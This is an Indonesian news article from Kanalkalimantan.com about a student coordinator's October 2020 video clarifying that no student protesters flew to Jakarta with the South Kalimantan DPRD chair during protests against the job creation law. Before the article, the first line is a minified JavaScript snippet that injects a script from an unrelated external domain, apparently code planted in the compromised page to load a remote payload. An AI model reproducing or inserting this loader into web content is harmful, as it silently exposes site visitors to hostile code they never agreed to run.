(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Merespon banyaknya narasi di media sosial yang menyebutkan bahwa ada 3 orang perwakilan mahasiswa yang berangkat ke Jakarta bersama Ketua DPRD Provinsi Kalsel, Koordinator Wilayah BEM se-Kalimantan Selatan, Ahdiat Zairullah memberikan klarifikasi atas pemberitaan tersebut.
Dalam video yang viral di media sosial sejak Kamis (8/10/2020) sekitar pukul 22.00 Wita, tampak Ahdiat yang mengenakan baju kaos hitam didampingi 2 orang perwakilan mahasiswa lainnya.
Dalam video tersebut Ahdiat mengklarifikasi bahwa tidak ada perwakilan Mahasiswa atau peserta aksi unjuk rasa yang mendampingi rombongan DPRD Provinsi Kalsel berangkat ke Jakarta.
“Mengklarifikasi beberapa isu yang beredar di sosial media, saya menegaskan bahwa hari ini tidak ada perwakilan mahasiswa atau perwakilan pengunjuk rasa yang berangkat ke Jakarta menemani DPRD Kalimantan Selatan. Waktu aksi sudah saya katakan tidak ada mahasiswa yang pergi ke Jakarta, hanya DPRD Provinsi Kalsel yang pergi ke Istana untuk menyampaikan tuntutan kita hari ini,” kata Ahdiat dalam video berdurasi kurang lebih 1 menit 30 detik tersebut.
Ahdiat juga menambahkan bahwa dirinya didampingi oleh 2 orang perwakilan mahasiswa yang mengawal rombongan DPRD Kalsel sampai ke Bandara Internasional Syamsudin Noor Banjarmasin.
“Jadi sebelumnya, kami bertugas mengawal Ketua DPRD Provinsi Kalsel dan Ketua Komisi tadi, untuk berangkat ke Istana. Kita mengawal dan memastikan Ketua DPRD Provinsi Kalsel benar-benar berangkat ke Jakarta. Jadi kita mengawal sampai bandara dan melihat langsung tiketnya, Ketua DPRD, Ketua Komisi IV dan Sekwan tadi,” kata salah seorang perwakilan mahasiswa yang juga ada dalam video tersebut.
Seperti yang diberitakan sebelumnya, Ketua DPRD Provinsi Kalsel, H Supian HK mengajak perwakilan Mahasiswa atau pengunjuk rasa yang ikut aksi unjuk rasa menolak UU Cipta Kerja untuk ikut bersama dirinya dan rombongan ke Istana Negara untuk menyampaikan langsung tuntutan mereka.
Namun hal ini ditolak oleh Mahasiswa, mereka tidak mau kalau hanya 3 orang yang diberangkatkan. Sehingga mereka memutuskan untuk mengawal perkembangan tuntutan mereka dengan cara melakukan komunikasi secara intens dengan Ketua DPRD Provinsi Kalsel dan Plt Gubernur Kalsel yang juga turut berangkat ke Jakarta. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More
This website uses cookies.